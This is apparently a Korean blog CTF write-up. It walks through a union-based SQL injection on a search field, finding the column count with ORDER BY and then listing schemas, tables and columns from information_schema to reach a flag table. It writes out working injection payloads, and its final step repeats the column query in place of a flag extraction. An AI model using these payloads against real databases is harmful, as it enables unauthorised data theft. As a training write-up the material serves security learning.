normaltic ctf 문제 풀이
여기서 ma 를 검색시 mario와 normaltic 이 결과로 뜨게 된다. 즉 like 문이 들어가 있는 것이다.
이 문제 해결을 위해서는 union을 사용해야하는데 union의 경우 컬럼 수와 일치해야 결과를 나타내기 때문에
' order by 5 # 를 이용하여 5를 대입시 결과를 나타내지 않는 것으로 보아 컬럼 수는 4개 이다.
그 다음으로 해야할 것은 union을 통한 데이터 내용 추출이다.
db 데이터명등의 내용을 알아야 데이터를 가져올 수 있기 때문이다.
순서는
db 이름
table 이름
column 이름
이렇게 접근해야한다.
db 접근 코드
mario%' union select schema_name, '2', '3', '4' from information_schema.schemata#
위에서 데이터베이스 이름을 알았으니 다음으로 해야할 것은 table이다.
mario%' union select table_name, '2', '3', '4' from information_schema.tables where table_schema='sqli_1' #
이미 위에서 db의 이름을 알았으니 내가 원하는 db만 보기 위해 where 문을 통해 조건을 주는 것이다.
flag_table이 우리가 찾을 flag인 것을 확인하였다. 마지막으로 table 명만 확인하면 끝이다.
mario%' union select column_name, '2', '3', '4' from information_schema.columns where table_name='flag_table' #
테이블 명이 flag 라는 것을 알았으니 마지막으로 union에서 어떤 테이블에서 무슨 컬럼을 가져올건지만 쓰면 끝이다.
mario%' union select column_name, '2', '3', '4' from information_schema.columns where table_name='flag_table' #
'Web > Web 보안' 카테고리의 다른 글
CTF 문제 풀이 및 정리 Basic blind (0) | 2022.06.20 |
---|---|
CTF 문제 풀이 및 정리 Basic ERROR (0) | 2022.06.17 |
[LOS] SQL Injection 풀이 (troll, vampire, skeleton) (0) | 2022.06.09 |
[File Download ] 공격방안 정리 (0) | 2022.06.04 |
[File Upload ] 대응방안 정리 (0) | 2022.06.03 |